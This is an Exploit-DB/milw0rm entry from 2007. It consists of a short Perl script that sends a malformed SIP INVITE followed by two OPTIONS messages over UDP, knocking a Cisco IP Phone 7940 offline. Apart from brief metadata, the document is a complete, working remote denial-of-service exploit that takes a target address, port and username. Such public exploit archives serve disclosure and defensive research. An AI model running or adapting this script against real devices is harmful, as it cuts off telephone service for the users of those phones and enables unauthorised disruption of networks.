Cisco IP Phone 7940 - 3 SIP Messages Remote Denial of Service

EDB-ID:

4297


Author:

MADYNES

Type:

dos


Platform:

Hardware

Date:

2007-08-21


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#!/usr/bin/perl
use IO::Socket::INET;

die "Usage $0 <dst> <port> <username>" unless ($ARGV[2]);

 

$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],

        Proto=>'udp',

        PeerAddr=>$ARGV[0]);

 

$msg = "INVITE sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r\nVia: SIP/2.0/UDP\t192.168.1.2;rport;branch=00\r\nFrom: <sip:gasparin\@192.168.1.2>;tag=00\r\nTo: <sip:$ARGV[2]\@$ARGV[0]>;tag=00\r\nCall-ID: et\@192.168.1.2\r\nCSeq: 10 INVITE\r\nContent-Length: 0\r\n\r\n";;

$socket->send($msg);

 

sleep(1);

$msg ="OPTIONS sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r\nVia: SIP/2.0/UDP 192.168.1.2;rport;branch=01\r\nFrom: <sip:gasparin\@192.168.1.2>;tag=01\r\nTo: <sip:$ARGV[2]\@$ARGV[0]>\r\nCall-ID: et\@192.168.1.2\r\nCSeq: 11 OPTIONS\r\nContent-Length: 0\r\n\r\n";

$socket->send($msg);

 

sleep(1);

$msg ="OPTIONS sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r\nVia: SIP/2.0/UDP 192.168.1.2;rport;branch=02\r\nFrom: <sip:gasparin\@192.168.1.2>;tag=02\r\nTo: <sip:$ARGV[2]\@$ARGV[0]>\r\nCall-ID: et\@192.168.1.2\r\nCSeq: 12 OPTIONS\r\nContent-Length: 0\r\n\r\n";

$socket->send($msg);

# milw0rm.com [2007-08-21]